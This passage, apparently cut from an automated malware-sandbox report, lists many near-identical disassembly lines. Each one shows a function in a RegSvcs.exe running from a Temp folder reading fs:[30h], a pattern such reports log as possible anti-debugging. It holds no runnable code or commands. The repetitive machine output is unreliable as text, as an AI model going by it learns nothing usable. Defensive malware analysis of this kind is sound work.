              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013502E1 mov eax, dword ptr fs:[00000030h]16_2_013502E1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A2C3 mov eax, dword ptr fs:[00000030h]16_2_0134A2C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A2C3 mov eax, dword ptr fs:[00000030h]16_2_0134A2C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A2C3 mov eax, dword ptr fs:[00000030h]16_2_0134A2C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A2C3 mov eax, dword ptr fs:[00000030h]16_2_0134A2C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A2C3 mov eax, dword ptr fs:[00000030h]16_2_0134A2C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350535 mov eax, dword ptr fs:[00000030h]16_2_01350535
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350535 mov eax, dword ptr fs:[00000030h]16_2_01350535
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350535 mov eax, dword ptr fs:[00000030h]16_2_01350535
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350535 mov eax, dword ptr fs:[00000030h]16_2_01350535
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350535 mov eax, dword ptr fs:[00000030h]16_2_01350535
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350535 mov eax, dword ptr fs:[00000030h]16_2_01350535
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E53E mov eax, dword ptr fs:[00000030h]16_2_0136E53E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E53E mov eax, dword ptr fs:[00000030h]16_2_0136E53E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E53E mov eax, dword ptr fs:[00000030h]16_2_0136E53E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E53E mov eax, dword ptr fs:[00000030h]16_2_0136E53E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E53E mov eax, dword ptr fs:[00000030h]16_2_0136E53E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D6500 mov eax, dword ptr fs:[00000030h]16_2_013D6500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414500 mov eax, dword ptr fs:[00000030h]16_2_01414500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414500 mov eax, dword ptr fs:[00000030h]16_2_01414500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414500 mov eax, dword ptr fs:[00000030h]16_2_01414500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414500 mov eax, dword ptr fs:[00000030h]16_2_01414500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414500 mov eax, dword ptr fs:[00000030h]16_2_01414500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414500 mov eax, dword ptr fs:[00000030h]16_2_01414500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01414500 mov eax, dword ptr fs:[00000030h]16_2_01414500
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137656A mov eax, dword ptr fs:[00000030h]16_2_0137656A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137656A mov eax, dword ptr fs:[00000030h]16_2_0137656A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137656A mov eax, dword ptr fs:[00000030h]16_2_0137656A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348550 mov eax, dword ptr fs:[00000030h]16_2_01348550
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348550 mov eax, dword ptr fs:[00000030h]16_2_01348550
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013645B1 mov eax, dword ptr fs:[00000030h]16_2_013645B1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013645B1 mov eax, dword ptr fs:[00000030h]16_2_013645B1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C05A7 mov eax, dword ptr fs:[00000030h]16_2_013C05A7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C05A7 mov eax, dword ptr fs:[00000030h]16_2_013C05A7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C05A7 mov eax, dword ptr fs:[00000030h]16_2_013C05A7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E59C mov eax, dword ptr fs:[00000030h]16_2_0137E59C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01342582 mov eax, dword ptr fs:[00000030h]16_2_01342582
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01342582 mov ecx, dword ptr fs:[00000030h]16_2_01342582
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01374588 mov eax, dword ptr fs:[00000030h]16_2_01374588
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136E5E7 mov eax, dword ptr fs:[00000030h]16_2_0136E5E7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013425E0 mov eax, dword ptr fs:[00000030h]16_2_013425E0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C5ED mov eax, dword ptr fs:[00000030h]16_2_0137C5ED
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C5ED mov eax, dword ptr fs:[00000030h]16_2_0137C5ED
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013465D0 mov eax, dword ptr fs:[00000030h]16_2_013465D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A5D0 mov eax, dword ptr fs:[00000030h]16_2_0137A5D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A5D0 mov eax, dword ptr fs:[00000030h]16_2_0137A5D0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E5CF mov eax, dword ptr fs:[00000030h]16_2_0137E5CF
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E5CF mov eax, dword ptr fs:[00000030h]16_2_0137E5CF
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A430 mov eax, dword ptr fs:[00000030h]16_2_0137A430
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133E420 mov eax, dword ptr fs:[00000030h]16_2_0133E420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133E420 mov eax, dword ptr fs:[00000030h]16_2_0133E420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133E420 mov eax, dword ptr fs:[00000030h]16_2_0133E420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133C427 mov eax, dword ptr fs:[00000030h]16_2_0133C427
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6420 mov eax, dword ptr fs:[00000030h]16_2_013C6420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6420 mov eax, dword ptr fs:[00000030h]16_2_013C6420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6420 mov eax, dword ptr fs:[00000030h]16_2_013C6420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6420 mov eax, dword ptr fs:[00000030h]16_2_013C6420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6420 mov eax, dword ptr fs:[00000030h]16_2_013C6420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6420 mov eax, dword ptr fs:[00000030h]16_2_013C6420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C6420 mov eax, dword ptr fs:[00000030h]16_2_013C6420
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01378402 mov eax, dword ptr fs:[00000030h]16_2_01378402
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01378402 mov eax, dword ptr fs:[00000030h]16_2_01378402
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01378402 mov eax, dword ptr fs:[00000030h]16_2_01378402
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136A470 mov eax, dword ptr fs:[00000030h]16_2_0136A470
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136A470 mov eax, dword ptr fs:[00000030h]16_2_0136A470
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136A470 mov eax, dword ptr fs:[00000030h]16_2_0136A470
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CC460 mov ecx, dword ptr fs:[00000030h]16_2_013CC460
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FA456 mov eax, dword ptr fs:[00000030h]16_2_013FA456
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0136245A mov eax, dword ptr fs:[00000030h]16_2_0136245A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0133645D mov eax, dword ptr fs:[00000030h]16_2_0133645D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137E443 mov eax, dword ptr fs:[00000030h]16_2_0137E443
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013744B0 mov ecx, dword ptr fs:[00000030h]16_2_013744B0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CA4B0 mov eax, dword ptr fs:[00000030h]16_2_013CA4B0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013464AB mov eax, dword ptr fs:[00000030h]16_2_013464AB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013FA49A mov eax, dword ptr fs:[00000030h]16_2_013FA49A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013404E5 mov ecx, dword ptr fs:[00000030h]16_2_013404E5
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137273C mov eax, dword ptr fs:[00000030h]16_2_0137273C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137273C mov ecx, dword ptr fs:[00000030h]16_2_0137273C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137273C mov eax, dword ptr fs:[00000030h]16_2_0137273C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BC730 mov eax, dword ptr fs:[00000030h]16_2_013BC730
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C720 mov eax, dword ptr fs:[00000030h]16_2_0137C720
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C720 mov eax, dword ptr fs:[00000030h]16_2_0137C720
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340710 mov eax, dword ptr fs:[00000030h]16_2_01340710
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01370710 mov eax, dword ptr fs:[00000030h]16_2_01370710
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C700 mov eax, dword ptr fs:[00000030h]16_2_0137C700
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01348770 mov eax, dword ptr fs:[00000030h]16_2_01348770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01350770 mov eax, dword ptr fs:[00000030h]16_2_01350770
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CE75D mov eax, dword ptr fs:[00000030h]16_2_013CE75D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01340750 mov eax, dword ptr fs:[00000030h]16_2_01340750
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382750 mov eax, dword ptr fs:[00000030h]16_2_01382750
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382750 mov eax, dword ptr fs:[00000030h]16_2_01382750
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C4755 mov eax, dword ptr fs:[00000030h]16_2_013C4755
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137674D mov esi, dword ptr fs:[00000030h]16_2_0137674D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137674D mov eax, dword ptr fs:[00000030h]16_2_0137674D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137674D mov eax, dword ptr fs:[00000030h]16_2_0137674D
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013407AF mov eax, dword ptr fs:[00000030h]16_2_013407AF
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013F47A0 mov eax, dword ptr fs:[00000030h]16_2_013F47A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E678E mov eax, dword ptr fs:[00000030h]16_2_013E678E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013447FB mov eax, dword ptr fs:[00000030h]16_2_013447FB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013447FB mov eax, dword ptr fs:[00000030h]16_2_013447FB
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013627ED mov eax, dword ptr fs:[00000030h]16_2_013627ED
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013627ED mov eax, dword ptr fs:[00000030h]16_2_013627ED
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013627ED mov eax, dword ptr fs:[00000030h]16_2_013627ED
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CE7E1 mov eax, dword ptr fs:[00000030h]16_2_013CE7E1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134C7C0 mov eax, dword ptr fs:[00000030h]16_2_0134C7C0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C07C3 mov eax, dword ptr fs:[00000030h]16_2_013C07C3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135E627 mov eax, dword ptr fs:[00000030h]16_2_0135E627
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01376620 mov eax, dword ptr fs:[00000030h]16_2_01376620
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01378620 mov eax, dword ptr fs:[00000030h]16_2_01378620
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134262C mov eax, dword ptr fs:[00000030h]16_2_0134262C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01382619 mov eax, dword ptr fs:[00000030h]16_2_01382619
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140866E mov eax, dword ptr fs:[00000030h]16_2_0140866E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140866E mov eax, dword ptr fs:[00000030h]16_2_0140866E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE609 mov eax, dword ptr fs:[00000030h]16_2_013BE609
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135260B mov eax, dword ptr fs:[00000030h]16_2_0135260B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135260B mov eax, dword ptr fs:[00000030h]16_2_0135260B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135260B mov eax, dword ptr fs:[00000030h]16_2_0135260B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135260B mov eax, dword ptr fs:[00000030h]16_2_0135260B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135260B mov eax, dword ptr fs:[00000030h]16_2_0135260B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135260B mov eax, dword ptr fs:[00000030h]16_2_0135260B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135260B mov eax, dword ptr fs:[00000030h]16_2_0135260B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01372674 mov eax, dword ptr fs:[00000030h]16_2_01372674
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A660 mov eax, dword ptr fs:[00000030h]16_2_0137A660
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A660 mov eax, dword ptr fs:[00000030h]16_2_0137A660
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0135C640 mov eax, dword ptr fs:[00000030h]16_2_0135C640
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013766B0 mov eax, dword ptr fs:[00000030h]16_2_013766B0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137C6A6 mov eax, dword ptr fs:[00000030h]16_2_0137C6A6
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01344690 mov eax, dword ptr fs:[00000030h]16_2_01344690
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01344690 mov eax, dword ptr fs:[00000030h]16_2_01344690
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE6F2 mov eax, dword ptr fs:[00000030h]16_2_013BE6F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE6F2 mov eax, dword ptr fs:[00000030h]16_2_013BE6F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE6F2 mov eax, dword ptr fs:[00000030h]16_2_013BE6F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE6F2 mov eax, dword ptr fs:[00000030h]16_2_013BE6F2
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C06F1 mov eax, dword ptr fs:[00000030h]16_2_013C06F1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C06F1 mov eax, dword ptr fs:[00000030h]16_2_013C06F1
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A6C7 mov ebx, dword ptr fs:[00000030h]16_2_0137A6C7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0137A6C7 mov eax, dword ptr fs:[00000030h]16_2_0137A6C7
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C892A mov eax, dword ptr fs:[00000030h]16_2_013C892A
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013D892B mov eax, dword ptr fs:[00000030h]16_2_013D892B
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01338918 mov eax, dword ptr fs:[00000030h]16_2_01338918
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01338918 mov eax, dword ptr fs:[00000030h]16_2_01338918
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CC912 mov eax, dword ptr fs:[00000030h]16_2_013CC912
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE908 mov eax, dword ptr fs:[00000030h]16_2_013BE908
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013BE908 mov eax, dword ptr fs:[00000030h]16_2_013BE908
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CC97C mov eax, dword ptr fs:[00000030h]16_2_013CC97C
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E4978 mov eax, dword ptr fs:[00000030h]16_2_013E4978
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013E4978 mov eax, dword ptr fs:[00000030h]16_2_013E4978
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01366962 mov eax, dword ptr fs:[00000030h]16_2_01366962
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01366962 mov eax, dword ptr fs:[00000030h]16_2_01366962
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_01366962 mov eax, dword ptr fs:[00000030h]16_2_01366962
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0138096E mov eax, dword ptr fs:[00000030h]16_2_0138096E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0138096E mov edx, dword ptr fs:[00000030h]16_2_0138096E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0138096E mov eax, dword ptr fs:[00000030h]16_2_0138096E
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C0946 mov eax, dword ptr fs:[00000030h]16_2_013C0946
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C89B3 mov esi, dword ptr fs:[00000030h]16_2_013C89B3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C89B3 mov eax, dword ptr fs:[00000030h]16_2_013C89B3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013C89B3 mov eax, dword ptr fs:[00000030h]16_2_013C89B3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0140A9D3 mov eax, dword ptr fs:[00000030h]16_2_0140A9D3
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013529A0 mov eax, dword ptr fs:[00000030h]16_2_013529A0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013409AD mov eax, dword ptr fs:[00000030h]16_2_013409AD
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013409AD mov eax, dword ptr fs:[00000030h]16_2_013409AD
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013729F9 mov eax, dword ptr fs:[00000030h]16_2_013729F9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013729F9 mov eax, dword ptr fs:[00000030h]16_2_013729F9
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_013CE9E0 mov eax, dword ptr fs:[00000030h]16_2_013CE9E0
              Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exeCode function: 16_2_0134A9D0 mov eax, dword ptr fs:[00000030h]16_2_0134A9D0
